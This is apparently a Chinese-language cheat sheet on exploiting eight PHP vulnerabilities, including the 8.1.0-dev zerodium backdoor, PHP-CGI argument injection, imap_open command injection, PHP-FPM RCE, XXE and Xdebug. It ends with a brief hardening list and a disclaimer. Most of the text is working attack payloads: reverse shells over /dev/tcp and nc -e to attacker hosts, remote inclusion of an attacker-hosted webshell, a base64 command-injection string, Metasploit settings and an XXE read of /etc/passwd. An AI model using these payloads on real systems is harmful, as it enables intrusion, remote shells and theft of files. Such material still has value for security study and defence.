php漏洞大杂烩
字数 1107 2025-08-09 16:00:20
PHP漏洞分析与利用综合指南
1. PHP 8.1.0-dev 后门漏洞
漏洞描述:PHP 8.1.0-dev版本在2021年3月28日被植入后门,攻击者可通过User-Agentt头执行任意代码。
利用方法:
- 构造恶意User-Agentt头:
User-Agentt: zerodiumsystem("cat /etc/passwd"); - 反弹shell:
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/192.168.1.10/7777 0>&1'");
影响版本:PHP 8.1.0-dev特定版本
2. CVE-2012-1823 PHP-CGI参数注入漏洞
漏洞原理:用户请求的querystring被作为php-cgi参数,可通过命令行参数注入执行任意代码。
关键参数:
-d:指定配置项-n:不加载php.ini-s:显示文件源码
利用步骤:
- 直接获取源码:
http://target/info.php?-s - 远程文件包含获取webshell:
http://target/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker/shell.txt - 使用Metasploit模块:
use exploit/multi/http/php_cgi_arg_injection set rhosts target_ip set rport target_port set lhost attacker_ip
3. CVE-2018-19518 PHP imap远程命令执行
漏洞原理:imap_open函数未正确过滤邮箱名称,可通过构造恶意IMAP服务器名执行命令。
利用方法:
- 构造恶意服务器名:
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}"; imap_open('{'.$server.':143/imap}INBOX', '', ''); - URL编码关键字符:
\t→%09+→%2b=→%3d
4. CVE-2019-11043 PHP-FPM远程代码执行
漏洞原理:nginx配置不当导致php-fpm远程代码执行,通过换行符(%0a)破坏fastcgi_split_path_info指令。
利用工具:phuip-fpizdam
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
go run . http://target/index.php
执行命令:
http://target/index.php?a=id
反弹shell:
http://target/index.php?a=nc -e /bin/bash attacker_ip 7777
5. PHP-FPM FastCGI未授权访问
漏洞原理:暴露的PHP-FPM服务(9000端口)可被利用执行任意PHP代码。
利用脚本:
python fpm.py target_ip -p 9000 /usr/local/lib/php/PEAR.php -c "<?php echo `ls`;?>"
关键环境变量:
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
6. PHP临时文件包含漏洞
漏洞原理:通过phpinfo获取临时文件名,包含临时文件执行代码。
利用步骤:
- 使用exp生成临时文件:
python2 exp.py target_ip 8080 - 包含临时文件执行命令:
http://target/lfi.php?file=/tmp/g&1=system(%22id%22);
7. PHP XXE漏洞
漏洞原理:libxml<2.9默认支持外部实体引用,可导致任意文件读取。
利用方法:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>
<name>&xxe;</name>
</test>
8. Xdebug远程代码执行
漏洞原理:Xdebug远程调试功能未限制主机,导致任意命令执行。
利用方法:
python3 exp.py -t http://target/index.php -c "shell_exec('id');"
关键配置:
xdebug.remote_enable = On
xdebug.remote_host = 127.0.0.1
防护建议
- 及时更新PHP到最新稳定版本
- 禁用危险函数:
system,exec,shell_exec,passthru等 - 配置
open_basedir限制文件访问范围 - 关闭不必要的PHP扩展
- 对用户输入进行严格过滤
- 配置正确的文件权限
- 生产环境关闭错误显示
- 限制PHP-FPM监听范围
本指南涵盖了PHP常见高危漏洞的原理和利用方法,仅供安全研究和防御参考,请勿用于非法用途。